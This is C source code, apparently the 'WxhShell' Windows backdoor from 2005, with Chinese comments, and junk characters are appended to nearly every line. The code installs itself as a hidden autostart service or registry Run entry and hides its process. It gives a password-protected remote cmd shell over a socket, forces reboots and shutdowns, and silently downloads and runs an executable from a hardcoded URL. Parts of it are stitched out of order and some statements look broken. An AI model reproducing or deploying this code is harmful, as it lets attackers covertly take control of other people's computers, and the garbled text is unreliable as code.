    } oP2fX_v1x  
    break; )' hH^(Yu  
    } dDD<E?TjD  
  // 关机 v @O&t4  
  case 'd': { V=X:=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; h`0ir4[A  
    if(Boot(SHUTDOWN)) nZ_v/?O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +hRmO  
    else { c=[O `/f  
    closesocket(wsh); 1N\D5g3  
    ExitThread(0); c=;:R0_'t  
    } N,J9Wu ZJ\  
    break; =B];?%  
    } 1Fe^Qb5G  
  // 获取shell (Si=m;g  
  case 's': { p:OPw D+  
    CmdShell(wsh); 2qHf'  
    closesocket(wsh); jV/CQM5a+  
    ExitThread(0); >;#=gM  
    break; \NG C$p n  
  } 8LI-gp\ 2  
  // 退出 {Rear 2  
  case 'x': { `Rd m-[&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CAU0)=M  
    CloseIt(wsh); 0vGyI>  
    break; ;oxAe<VIj  
    } ^Q{Bq  
  // 离开 H3H_u4_?SE  
  case 'q': { lg}HGG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +xXH2b$wWC  
    closesocket(wsh); e8EfQ1 Ar  
    WSACleanup(); gUAxyV  
    exit(1); v`c$!L5  
    break; v6GsoQmA   
        } jhGlG-^  
  } $3d}"D  
  } PU {uE[  
a P&D9%5  
  // 提示信息 }6-ZE9H-v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ow/57P  
} XYH|;P6K  
  } hAqg Iu*  
>|o_wO  
  return; e/8z+H^H  
} /U$8TT8+-  
45@]:2j  
// shell模块句柄 5y} v{Ijt  
int CmdShell(SOCKET sock) !$g+F(:(c  
{ 3p*-tBOO  
STARTUPINFO si; gFPi7 o1  
ZeroMemory(&si,sizeof(si)); = pIy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hKlZi!4J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ` r']^ ,  
PROCESS_INFORMATION ProcessInfo; Ao7`G':  
char cmdline[]="cmd"; aVe/ gE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GOSI3RRn  
  return 0; 3I|3wQ&#(  
} }sxn72,  
{C^@Q"I  
// 自身启动模式 FZH\Q~IUV  
int StartFromService(void) +jqj6O@Tjr  
{ *fO{ a  
typedef struct 6e25V4e?I  
{ #*c F8NV-  
  DWORD ExitStatus; 'ZQWYr9R  
  DWORD PebBaseAddress; tVqmn  
  DWORD AffinityMask; X8<2L 2:  
  DWORD BasePriority; #)`A7 $/,  
  ULONG UniqueProcessId; lM#A3/=K  
  ULONG InheritedFromUniqueProcessId; O}#yijU3e  
}   PROCESS_BASIC_INFORMATION; &s)0z)mR8&  
]Y.deVw3i  
PROCNTQSIP NtQueryInformationProcess; fA! 6sB  
q6wr=OWD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G_Ay   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y_}SK6{  
o0p T6N)  
  HANDLE             hProcess; WA)Ij(M8 p  
  PROCESS_BASIC_INFORMATION pbi; z{BA4sn  
m_!U}!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NNa1EXZ[  
  if(NULL == hInst ) return 0; l SkEuN  
3^.8.q(6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \NXQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *C,N'M<u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /.=r>a }l  
2 [!Mx&^  
  if (!NtQueryInformationProcess) return 0; &!y]:CC{  
kDB iBNdB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m]IysyFFK  
  if(!hProcess) return 0; \,sg)^w@  
>sj bK%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U&y`-@A4  
5]7&IDA]]9  
  CloseHandle(hProcess); MFg'YA2/  
}r2[!gGd%|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cj&$%sO1  
if(hProcess==NULL) return 0; bj"z8kP  
9DEh*%q  
HMODULE hMod; .yVnw^gu  
char procName[255]; 2W3W/> 2 h  
unsigned long cbNeeded; dALK0U  
4VIg>EL*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b Dg9P^<n  
G^Xd-7 GQ  
  CloseHandle(hProcess); P Tnac  
+zRh fIJHH  
if(strstr(procName,"services")) return 1; // 以服务启动 %{STz  
#@Ujx_F  
  return 0; // 注册表启动 B#tdLv"I  
} =s'7$D}0.  
Isovwd  
// 主模块 8mgQu]>  
int StartWxhshell(LPSTR lpCmdLine) n=`w9qajd  
{ ^t78jfl  
  SOCKET wsl; *`KrVu 6s  
BOOL val=TRUE; bV3lE6z  
  int port=0; !*P&Eat  
  struct sockaddr_in door; 9NWloK6bT  
WL\^F#:  
  if(wscfg.ws_autoins) Install();  q{X T  
n9 fk,3  
port=atoi(lpCmdLine); VjTe4$ *  
g8yN% )[  
if(port<=0) port=wscfg.ws_port; _=6OP8  
^'B-sz{{  
  WSADATA data; u3Do~RyL[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7C5pAb:  
X&\o{w9%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tF`MT%{Va  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m.V,I}J.q  
  door.sin_family = AF_INET; a{_ KSg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O|UxFnB}  
  door.sin_port = htons(port); k,X74D+  
aqfL0Rg+`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ck$2Ue2`@w  
closesocket(wsl); l(Cf7o!  
return 1; oP]L5S&A  
} ogeRYq,g  
S+FQa7k  
  if(listen(wsl,2) == INVALID_SOCKET) { G&o64W;-s  
closesocket(wsl); z{6 YC~  
return 1; 2cjEex:&  
} Dq`~XS*  
  Wxhshell(wsl); l#6&WWmr  
  WSACleanup(); -SJSTO[/J  
l^,qO3ES  
return 0; a RKv+{K  
k ]bPI$  
} Wy(pLBmb  
6_U |(f  
// 以NT服务方式启动 n{=7 yK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2 `5=0E1k  
{ G{A)H_o*  
DWORD   status = 0; gUGOHd(A  
  DWORD   specificError = 0xfffffff; S'?fJ.  
NQ!<f\m4n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J"bD\%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;\s~%~ \  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ou;qO 5CT  
  serviceStatus.dwWin32ExitCode     = 0; 6z1\a  
  serviceStatus.dwServiceSpecificExitCode = 0; DVzssP g  
  serviceStatus.dwCheckPoint       = 0; [tm[,VfA^  
  serviceStatus.dwWaitHint       = 0; "=ElCaP}  
sJ7sjrEp 1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); </yo9.  
  if (hServiceStatusHandle==0) return; lzoeST  
VV\Xb31J  
status = GetLastError(); !2tw,QM  
  if (status!=NO_ERROR) e;;):\p4  
{ SKJW%(|3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~BQV]BJ7  
    serviceStatus.dwCheckPoint       = 0; Bhx<g&|j  
    serviceStatus.dwWaitHint       = 0; l% |cB93  
    serviceStatus.dwWin32ExitCode     = status; C.HYS S  
    serviceStatus.dwServiceSpecificExitCode = specificError; k<,u0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &GU@8  
    return; /p}{#DLB  
  } L"^.0*X/d  
~B*~'I9b*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :;_#5  
  serviceStatus.dwCheckPoint       = 0; xDLMPo&  
  serviceStatus.dwWaitHint       = 0; !^1[ s@1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d|3o/@k  
} +l.|kkZ?  
` #=fA  
// 处理NT服务事件,比如:启动、停止 v D&Kae<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O8$~*NFJf  
{ YJc%h@_=]  
switch(fdwControl) '&)D>@g  
{ QnP{$rT  
case SERVICE_CONTROL_STOP: I)rGOda{  
  serviceStatus.dwWin32ExitCode = 0; 3XGB+$]C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; blmmm(|~|  
  serviceStatus.dwCheckPoint   = 0; 9H[/Tj-;  
  serviceStatus.dwWaitHint     = 0; )"F5lOA6  
  { K{N%kk%F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [NZ-WU&&LP  
  } WzlS^bZ  
  return; -^R b7 g-  
case SERVICE_CONTROL_PAUSE: iz$FcA]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; + lP5XY{  
  break; :Dt\:`(r'  
case SERVICE_CONTROL_CONTINUE: RZe#|k+ 8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HrDTn&/  
  break; 363cuRP  
case SERVICE_CONTROL_INTERROGATE: CvP`2S\  
  break; O!yakU+  
}; r/^tzH's  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &:q[-K@!  
} \.kTe<.:_  
9='=-;@/5  
// 标准应用程序主函数 IJldN6&\q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2 mSD"[%  
{ >"O1`xdG  
|&Au6 3  
// 获取操作系统版本 ^IYJEqK  
OsIsNt=GetOsVer(); q`cEA<~S  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  *[VEF  
PK_Fx';ke^  
  // 从命令行安装 K`~BL=KI  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vj/fAHR`>'  
^W5>i[  
  // 下载执行文件 X:R%1+&*  
if(wscfg.ws_downexe) { m,=)qex  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .B6`OX&k  
  WinExec(wscfg.ws_filenam,SW_HIDE); QTeFR&q8  
} 8i[".9}G\  
6GY32\Ac  
if(!OsIsNt) { z;U LQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 r7RU"H:j8  
HideProc(); b#Jo Xa9  
StartWxhshell(lpCmdLine); Ew>~a8! Fq  
} Oq[i &  
else WBy[m ?d  
  if(StartFromService()) <8g=BWA  
  // 以服务方式启动 EZ..^M3  
  StartServiceCtrlDispatcher(DispatchTable); 8g.AT@ ,Q  
else UBL(Nr  
  // 普通方式启动 IvFR <n  
  StartWxhshell(lpCmdLine); g;(_Y1YQ  
FT<H ]Nf  
return 0; (LRNU)vD7$  
} BSOjyy1f  
fVG$8tB  
y#&$ f  
a5X`jo  
=========================================== f V*}c`  
p "/(>8  
tF<^9stM  
#"hJpyW 4V  
7[4_+Q:}  
LjSLg[i  
" )\0Ug7]?  
^WmGo]<B_  
#include <stdio.h> @k_Jl>X  
#include <string.h>  V+peO  
#include <windows.h> D&4u63^  
#include <winsock2.h> D~5yj&&T;  
#include <winsvc.h> s Ke,  
#include <urlmon.h> ? 7/W>  
t8t}7XD   
#pragma comment (lib, "Ws2_32.lib") ~5FS|[1L  
#pragma comment (lib, "urlmon.lib") 1NuR/DO  
uE"5cq'B/  
#define MAX_USER   100 // 最大客户端连接数 6#-6Bh)>4  
#define BUF_SOCK   200 // sock buffer u)tHOV>&  
#define KEY_BUFF   255 // 输入 buffer 1P+Mv^%I  
C  usVW  
#define REBOOT     0   // 重启 SAd 97A:  
#define SHUTDOWN   1   // 关机 /&*m1EN#o  
v&p,Clt-2  
#define DEF_PORT   5000 // 监听端口 kw 6cFz  
j#7wyi5q  
#define REG_LEN     16   // 注册表键长度 z\e>DdS  
#define SVC_LEN     80   // NT服务名长度 XyvZ&d6(d  
j|&{e91,?  
// 从dll定义API Vxp$#3 ;S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O|HIO&M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $7msL#E7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XC*uz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?H y%ULk  
'.]e._T  
// wxhshell配置信息 , D exJ1  
struct WSCFG { h9w@oRp`~  
  int ws_port;         // 监听端口 <P|`7wfxE  
  char ws_passstr[REG_LEN]; // 口令 Ko1AaX(I'+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Oyi;bb<#  
  char ws_regname[REG_LEN]; // 注册表键名 [B}1z  
  char ws_svcname[REG_LEN]; // 服务名 t9?R/:B%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [SCw<<l<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hO^&0?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hZp=BM"bJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8]sTX9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` %FIgE^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }V\P,ck  
}%-UL{3%  
}; ]cx"  
/d{glOk  
// default Wxhshell configuration //#xK D  
struct WSCFG wscfg={DEF_PORT, fKPiRlLS  
    "xuhuanlingzhe", JVD@I{  
    1, q,<n,0)K  
    "Wxhshell", ^t\kLU  
    "Wxhshell", \?bwm&6+r  
            "WxhShell Service", [ED!J~lg8  
    "Wrsky Windows CmdShell Service", WpXODkQL  
    "Please Input Your Password: ", 66I|0_  
  1, }s`jl` `PM  
  "http://www.wrsky.com/wxhshell.exe", P3+)pOE-SI  
  "Wxhshell.exe" aeG#: Ln+{  
    }; *Gg1h@&  
di-O*ug  
// 消息定义模块 Aivu%}_|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ff=B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a9yIV5_N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ArNur~  
char *msg_ws_ext="\n\rExit."; 2(c<U6#C'l  
char *msg_ws_end="\n\rQuit."; 4a(g<5wfI  
char *msg_ws_boot="\n\rReboot..."; JK@izI  
char *msg_ws_poff="\n\rShutdown..."; |HaU3E*R  
char *msg_ws_down="\n\rSave to "; [ea6dv4p  
*]{9K  
char *msg_ws_err="\n\rErr!"; tU+@1~ ~  
char *msg_ws_ok="\n\rOK!"; ^/_\etV  
M[:O(  
char ExeFile[MAX_PATH]; F,' ^se4&  
int nUser = 0; ddUjs8VvJ  
HANDLE handles[MAX_USER]; #2_o[/&}x@  
int OsIsNt; YWt"|  
qR [}EX&3  
SERVICE_STATUS       serviceStatus; PY^^^01P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8C*6Fjb#  
Ft3N#!ubl  
// 函数声明 i1b4 J  
int Install(void); 3R)cbwL  
int Uninstall(void); Y0/jH2n  
int DownloadFile(char *sURL, SOCKET wsh); '_q: vjX  
int Boot(int flag); _Vdb?  
void HideProc(void); @D.R0uM  
int GetOsVer(void); `A4QU,0 8h  
int Wxhshell(SOCKET wsl); Bg+<*z-?e  
void TalkWithClient(void *cs); y)?W-5zL  
int CmdShell(SOCKET sock); pRQ fx^ On  
int StartFromService(void); K^!e-Xi6  
int StartWxhshell(LPSTR lpCmdLine); ,^MW)Gf<  
7,V!Iv^X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g5kYyE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >>oASo  
 At`1)  
// 数据结构和表定义 % j[O&[s}  
SERVICE_TABLE_ENTRY DispatchTable[] = Z$OF|ZZQ  
{ E3CiZ4=5  
{wscfg.ws_svcname, NTServiceMain}, "TBQNWZ  
{NULL, NULL} xZ9}8*Q&:  
}; :GwSs'$O  
9B!im\]O  
// 自我安装 5XSxQG@k^z  
int Install(void) /(hP7_]`2  
{ b qg]DO$*  
  char svExeFile[MAX_PATH]; /%J&/2Wz  
  HKEY key; r 85Xa'hh  
  strcpy(svExeFile,ExeFile); ,? 0-=o  
BNL8hK`D  
// 如果是win9x系统,修改注册表设为自启动 L}e"nzTE6I  
if(!OsIsNt) { a@5xz)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 877EKvsiC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q G :jnl  
  RegCloseKey(key); j=xtnIq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @\%)'WU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @yU!sE:  
  RegCloseKey(key); h}anTFKP  
  return 0; w-0O j  
    } t6<sNz F&  
  } /XWPN(JC?  
} Ie^Dn!0S  
else { W%cj39$  
rj2r#{[  
// 如果是NT以上系统,安装为系统服务 LH3N}J({  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }%o+1 <=  
if (schSCManager!=0) c:?#zX  
{ .yK\&q[<  
  SC_HANDLE schService = CreateService Ac5o K  
  ( =M/ UHOY  
  schSCManager, Z!]U&Ax`Z  
  wscfg.ws_svcname, dbMu6Bm\G  
  wscfg.ws_svcdisp, BDRYip[Sa  
  SERVICE_ALL_ACCESS, }Ke}rM<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S1H47<)UF  
  SERVICE_AUTO_START, zulf%aaL  
  SERVICE_ERROR_NORMAL, +2;#9aa I  
  svExeFile, YmO"EWb  
  NULL, 7U{b+=,wK  
  NULL, i">z8?qF  
  NULL, hVT=j ?~  
  NULL, DSDl[;3O{s  
  NULL D<_,>{$gW  
  ); }QWTPRn  
  if (schService!=0) RKo P6LGw  
  { T}w*K[z $  
  CloseServiceHandle(schService); AjL?Qh4  
  CloseServiceHandle(schSCManager); LRCS)UBY(.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zgq_0w~X  
  strcat(svExeFile,wscfg.ws_svcname); "x:)$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o/  x5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wQdW lon  
  RegCloseKey(key); ~x0-iBF  
  return 0; U>L=.\\|  
    } 48~m=mI  
  } l# !@{ <  
  CloseServiceHandle(schSCManager); NDIc?kj~  
} p(x1D]#Z[  
} O)U$Ef  
{0)WS}&  
return 1; /8$1[[[  
} K)h"G#NZM  
I7G\X#,iz  
// 自我卸载 j;AzkReb  
int Uninstall(void) 8JtI&aH-L  
{ Z0F>"Z _qn  
  HKEY key; TN |{P  
FQ9csUjpB  
if(!OsIsNt) { NqQ(X'W7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hz3 S^o7  
  RegDeleteValue(key,wscfg.ws_regname); $@u^Jt, ?  
  RegCloseKey(key); 1VjeP *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /SqFP L]  
  RegDeleteValue(key,wscfg.ws_regname); M|Dwk3#  
  RegCloseKey(key); cT>z  
  return 0; S,`Sq8H  
  } q*RaX 4V  
} ltr;pc*)  
} !7ZfT?&  
else { bW 86Iw  
j6R{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0IPhVG~#  
if (schSCManager!=0) t7!>5e)C}  
{ t5jhpPVf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ,3@15j  
  if (schService!=0) :E >n)_^  
  { 7>2j=Y_Kp  
  if(DeleteService(schService)!=0) { S"KTL*9D  
  CloseServiceHandle(schService); JIY ^N9_  
  CloseServiceHandle(schSCManager); hyvV%z Z  
  return 0; V&,<,iNN  
  } 5cNzG4z  
  CloseServiceHandle(schService); /[0 /8f6  
  } /H;kYx  
  CloseServiceHandle(schSCManager); P7>C4rmQ  
} J%Z)#  
} y`B!6p 5j  
VI|DM x   
return 1; $p6Xa;j$9  
} TJw.e/  
Pu%>j'A  
// 从指定url下载文件 uDE91.pUkr  
int DownloadFile(char *sURL, SOCKET wsh)  Sj{rvW  
{ @'<j!CqQ o  
  HRESULT hr; 0ZID @^  
char seps[]= "/"; bZOy~F|  
char *token; l>5]Wd{/  
char *file; h-_0 A]  
char myURL[MAX_PATH]; [q>i  
char myFILE[MAX_PATH]; 2$i 0yPv  
6rN5Xf cS  
strcpy(myURL,sURL); }'.Sn{OWf  
  token=strtok(myURL,seps); ^cmP  
  while(token!=NULL) h$ETH1Ue  
  { X_sG6Q@  
    file=token; h&k ^l,  
  token=strtok(NULL,seps); t!=~5YgKs  
  } #g`cih=QL  
7Yw\%}UL  
GetCurrentDirectory(MAX_PATH,myFILE); !DX/^b  
strcat(myFILE, "\\"); $Z7|t  
strcat(myFILE, file); 6m{$rBR  
  send(wsh,myFILE,strlen(myFILE),0); R:IS4AaS  
send(wsh,"...",3,0); |v %RjN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l3pW{p  
  if(hr==S_OK) 9y|&T  
return 0; kJ<Xq   
else f/[?5M[  
return 1; ;AL@<,8  
tCCi|*P G  
} iB`WXU  
x{`<);CQ  
// 系统电源模块 |7Xpb  
int Boot(int flag) u FYQ^  
{ #<i> <EG  
  HANDLE hToken; .McoW7|Y  
  TOKEN_PRIVILEGES tkp; Lc:SqF  
hIO4%RQj_  
  if(OsIsNt) { vzrD"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q(ET)xCeD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pffw5Tc  
    tkp.PrivilegeCount = 1; Z Lio8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MoR-8vnJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _M]rH<h  
if(flag==REBOOT) { 9Or4`JOO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GwpBDM k  
  return 0; g d}TTe  
} |8U7C\S[  
else { Hv7D+ j8M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h,6S$,UI  
  return 0; .' 2gJ"?,  
} dR, NC-*  
  } ZNC?Ntw  
  else { /2\= sTd  
if(flag==REBOOT) { NF\^'W@N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UE`4$^qs  
  return 0; M>H^<N}'A  
} 0)Xue9AS  
else { b;;Kxi:7$}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &{4Mo,x  
  return 0; D%Jc?6/I#3  
} Pc; 14M  
} ' /<b[  
4k2c mM$  
return 1; yb.|7U?/x  
} {_X1&&>8/  
"O1*uwm  
// win9x进程隐藏模块 6p]R)K>wS  
void HideProc(void) 79B`w #  
{ eKFc W5O  
(xSi6EZ6;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8qYGlew,  
  if ( hKernel != NULL ) %b%<g%@i  
  { i~s9Ot  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mhkAI@)>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +xdFkc  
    FreeLibrary(hKernel); ,, #rv-*  
  } `::'UfHc  
d!z).G  
return; H6\ x.J^,  
} ?gMrcc/{  
RqjDMN:  
// 获取操作系统版本 Qnb?hvb"d  
int GetOsVer(void) +ET  
{ Y*`A$  
  OSVERSIONINFO winfo; I4X+'fW,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G@<lwnvD*J  
  GetVersionEx(&winfo); \C2P{q/m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uZ?CVluP  
  return 1; j72] _G  
  else +P)[|y +e  
  return 0; !#gE'(J;c  
} QZa#i L  
P 7.8tM2}  
// 客户端句柄模块 +X(^Q@  
int Wxhshell(SOCKET wsl) 3pjYY$'  
{ Jas|P}{=fT  
  SOCKET wsh; {)gd|JV*  
  struct sockaddr_in client; >rS<!e%  
  DWORD myID; QT l._j@  
#5:A?aj  
  while(nUser<MAX_USER) Qg$Nj=Cw  
{ ;)pV[3[  
  int nSize=sizeof(client); 4bi\$   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); } 9s  
  if(wsh==INVALID_SOCKET) return 1;  glX2L ~  
MkGq%AE`Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V42*4hskL  
if(handles[nUser]==0) 3$yL+%i  
  closesocket(wsh); @`8 B} C  
else 18tQWI$  
  nUser++; z'D{:q  
  } Qbpl$L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jh](s U  
vA-p} ]%  
  return 0; .%b_3s".  
} ^JVP2L>o*  
Vd>.fb\U2  
// 关闭 socket u#,'ys  
void CloseIt(SOCKET wsh) w:xKgng=L  
{ +4nR&1z$  
closesocket(wsh); .EZ{d  
nUser--; f\r4[gU@  
ExitThread(0); Zt0%E <C{  
} :;Rt#!  
FY}*Z=D%  
// 客户端请求句柄 /lQ0`^yB  
void TalkWithClient(void *cs) v/+}FS=  
{ 2(J tD  
|ylTy B  
  SOCKET wsh=(SOCKET)cs; B(Q.a&w45t  
  char pwd[SVC_LEN]; {u6fa>R&$  
  char cmd[KEY_BUFF]; 6|qvo+%  
char chr[1];  `e=n( D  
int i,j; `'.x*MNF  
gH55c aF<  
  while (nUser < MAX_USER) { CWsv#XOg]  
7kpW 1tjY  
if(wscfg.ws_passstr) { FS+^r\)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rAw1g,&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NKhR%H  
  //ZeroMemory(pwd,KEY_BUFF); u0hbM9U>  
      i=0; z n8ig/C  
  while(i<SVC_LEN) { U`_vF~el~  
)&!@O$RS8(  
  // 设置超时 E!l1a5qB  
  fd_set FdRead; 5GL+j%7  
  struct timeval TimeOut; mg/kyua^  
  FD_ZERO(&FdRead); !:[n3.vm   
  FD_SET(wsh,&FdRead); NRF%Qd8I/2  
  TimeOut.tv_sec=8; wggHUr(g,  
  TimeOut.tv_usec=0; FtDA k?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }v ,P3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .(]1PKW  
/G+gk0FW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #R4KBXN  
  pwd=chr[0];  AlaN;  
  if(chr[0]==0xd || chr[0]==0xa) { JP*mQzZL  
  pwd=0; Xb]?/7 X  
  break; { (,vm}iFL  
  } dk`!UtNNRa  
  i++; H).5xx[`  
    } ;iNx@tz4  
'[8jm=Q#'  
  // 如果是非法用户,关闭 socket [4rMUS7-m"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tvxcd*{  
} F+S#m3X  
#e269FwN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /O9EI'40)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =u"|qD  
Qug'B  
while(1) { >&Q. .`q  
Q.$h![`6  
  ZeroMemory(cmd,KEY_BUFF); :.df(1(RL  
3g:+p  
      // 自动支持客户端 telnet标准   <r3n?w8  
  j=0; ^V]DY!@k3_  
  while(j<KEY_BUFF) { tah%jRfT&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Fl4tY#X  
  cmd[j]=chr[0]; wh+ibH}@!  
  if(chr[0]==0xa || chr[0]==0xd) { gdNp2b  
  cmd[j]=0; Gn4b\y%%  
  break; $_5v^QL  
  } 4aKy]zPoE  
  j++; ZM`_P!G  
    } <qt%MM [Y  
)pa|uH +N  
  // 下载文件 1*b%C"C  
  if(strstr(cmd,"http://")) { gRI|rDC)B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nDw9  
  if(DownloadFile(cmd,wsh)) VSFl9/5?  
